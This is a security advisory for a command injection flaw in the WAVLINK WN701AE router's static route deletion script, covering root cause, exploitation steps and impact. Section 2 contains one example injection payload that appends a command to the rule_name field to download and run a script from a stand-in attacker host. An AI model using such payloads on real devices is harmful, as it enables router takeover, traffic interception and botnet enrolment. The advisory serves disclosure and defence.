WAVLINK WN701AE Router static_route_setting.sh Remote Command Injection Vulnerability (CVE-2026-120227) Security Advisory

1. Vulnerability Overview & Root Cause

A critical vulnerability (CVE-2026-120227) has been identified in the ioos Web Backend component of the WAVLINK WN701AE router. The root cause lies within the del_staticrule function in the static_route_setting.sh script. The script fails to properly sanitize or escape the user-supplied rule_name parameter before passing it to a system shell for execution. This lack of input validation allows an attacker to inject shell metacharacters (such as ;, &, or |), resulting in arbitrary OS command injection (CWE-77, CWE-78).

2. Exploitation Mechanics & Attack Scenario

To exploit this vulnerability, an attacker must first authenticate to the router's web management interface. The attacker then navigates to the static routing configuration and sends a crafted request to delete a static route. By embedding malicious shell commands within the rule_name parameter (e.g., rule1; wget http://attacker.com/payload -O- | sh), the backend script executes the injected payload with root privileges on the underlying Linux operating system. A public exploit is currently available, increasing the likelihood of active exploitation in the wild.

3. Infrastructure & Business Impact

With a CVSS score of 9.9 (Critical), this vulnerability poses a severe threat to network infrastructure. Successful exploitation grants the attacker full administrative control over the router. Attackers can leverage this foothold to perform lateral movement within the internal network, intercept and manipulate network traffic, modify DNS settings for phishing campaigns, or enlist the compromised device into a DDoS botnet.